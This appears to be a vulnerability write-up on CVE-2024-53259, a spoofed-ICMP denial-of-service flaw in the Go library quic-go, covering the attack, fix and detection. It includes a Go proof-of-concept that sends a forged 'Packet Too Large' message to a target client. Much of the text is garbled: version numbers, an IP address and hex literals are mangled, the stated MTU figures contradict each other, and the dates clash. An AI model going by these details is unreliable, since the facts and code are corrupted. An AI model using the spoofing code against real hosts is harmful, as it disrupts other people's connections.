Published June 2024
The open-source project quic-go—an implementation of the QUIC protocol written in Go—was recently found to have a critical vulnerability (CVE-2024-53259) that allows remote attackers to easily disrupt active QUIC connections. In this long read, we’ll break down what happened, how the attack works, who is affected, and how you can fix or detect it.
What is CVE-2024-53259?
This CVE targets quic-go, a library that powers many modern QUIC-based applications (including HTTP/3). The vulnerability gives an off-path attacker (someone who can't see the connection but can send spoofed packets) the ability to break a QUIC connection from afar by abusing how ICMP "Packet Too Large" messages are handled.
Vulnerable versions
All versions of quic-go before .48.2 are vulnerable.
1. QUIC and Path MTU Discovery
QUIC, like TCP, wants to avoid fragmenting packets. It uses Path MTU Discovery (PMTUD) to find the largest size it can send.
(This is required by the protocol to avoid handshake breakdowns.)
quic-go sets the socket option IP_PMTUDISC_DO, which asks the Linux kernel to strictly enforce path MTU warnings.
2. ICMP "Packet Too Large" Messages
If a router in the path sees a packet that is too big to deliver (according to the path's MTU), it returns an ICMP "Packet Too Large" message. The kernel then refuses to send any packets bigger than the reported MTU.
3. The Attack
Exploiting this, an attacker can simply send a spoofed ICMP "Packet Too Large" to the victim client, making it look as if the network can only handle, say, 800 bytes. quic-go blindly trusts this (via the kernel), and won't even attempt to send packets over this new, bogus MTU.
Result: If the reported MTU is below 120 bytes, the QUIC connection can't proceed further, meaning all future traffic is broken or dropped. And, since this happens after the handshake is complete, most fallback mechanisms won't trigger, resulting in a silent DoS (Denial of Service).
No validation: quic-go doesn't check if the reported MTU is plausible (≥120).
- No need to sniff traffic: The attacker only needs to know the victim's public client IP and UDP port.
Here's a conceptual diagram
Attacker Client (quic-go) Server
| | |
|---Spoofed ICMP-->| |
| "Packet Too Large (MTU 700)" |
| | |
| |-----QUIC Packet----->|<-X
Refused by kernel, "message too large" error
Proof-of-Concept Snippet
Below is a minimal Go code to trigger this bug against a quic-go client. For demonstration only!
package main
import (
"net"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
"os"
)
// Replace with target client IP and port!
const targetIP = "203..113.5"
const targetPort = 4433
const fakeMTU = 800 // Below QUIC's minimum 120
func main() {
dst := net.ParseIP(targetIP)
conn, err := net.Dial("ip4:icmp", targetIP)
if err != nil { panic(err) }
// Mock original QUIC UDP datagram header for reference in the ICMP payload
quicPayload := []byte{
// Example: UDP header (8 bytes)
x00, x00, // source port (mocked)
byte(targetPort >> 8), byte(targetPort & xff),
, , , , // rest of header and mock
}
icmpMsg := icmp.Message{
Type: ipv4.ICMPTypeDestUnreach,
Code: 4, // "Fragmentation needed and DF set"
Body: &icmp.DstUnreach{
Data: quicPayload,
NextMTU: fakeMTU,
},
}
b, err := icmpMsg.Marshal(nil)
if err != nil { panic(err) }
_, err = conn.Write(b)
if err != nil { panic(err) }
os.Exit()
}
> Note:
> For real-world attacks, a more complete UDP header, correct checksums, and raw socket permissions are needed.
Exploit Impact
- Any application using quic-go is vulnerable: Including HTTP/3 web servers, realtime apps, file transfer programs, etc.
No connection sniffing needed: Only the client IP and port must be guessed or inferred.
- Silent DoS: There is no easy way for the victim to differentiate a legitimate PMTUD problem from an injected one.
- No TCP fallback: Since the handshake is already established, browser/app logic for "fall back to HTTP/1.1" won’t trigger.
Know the client’s IP address and UDP port.
- Be able to send spoofed ICMP packets (sometimes requires network-level access, but feasible in cloud environments, ISPs, or compromised networks).
Vulnerability discovered: May 2024
- Patched in quic-go: v.48.2 (June 2024)
Official sources
- quic-go security advisory
- CVE-2024-53259 entry
- QUIC RFC: Path MTU Discovery
How Is It Fixed?
In quic-go v.48.2, the maintainers made sure the kernel is never allowed to force a MTU below QUIC’s 120-byte minimum. The fix ensures the app ignores any "message too large" errors that indicate a bogus (or unsafe) PMTUD result.
Patch summary (from commit diff)
const minQUICMTU = 120
if msgTooLarge && userMTU < minQUICMTU {
// Ignore this error, keep using 120
userMTU = minQUICMTU
}
Upgrade to v.48.2 or later.
- If you can’t upgrade, consider adding eBPF/iptables rules to block ICMP "Packet Too Large" related to userland UDP sockets, though this isn’t a long-term fix.
Detection and Best Practices
- Monitor for drop in user traffic: Sudden/unexplained connection reset or "msg too large" errors can indicate active exploitation.
Network monitoring: Unusual or unsourced ICMP messages may signal an attack in progress.
- Run regular dependency audits: Use tools like go-mod-upgrade or GitHub Dependabot.
Conclusion
CVE-2024-53259 is a great example of a classic protocol design attack: A well-meaning feature (Path MTU Discovery) has been subverted to deliver a powerful denial-of-service vector against any server or client exposing a vulnerable QUIC stack in Go. Fixes are out, skimming through a project's go.mod for "quic-go v.48.2" or above is the simplest check you can make.
Further Reading
- quic-go security changelog
- RFC 900: QUIC Transport Protocol
- Stack Overflow: How ICMP affects UDP applications
- Google QUIC whitepaper
Timeline
Published on: 12/02/2024 17:15:12 UTC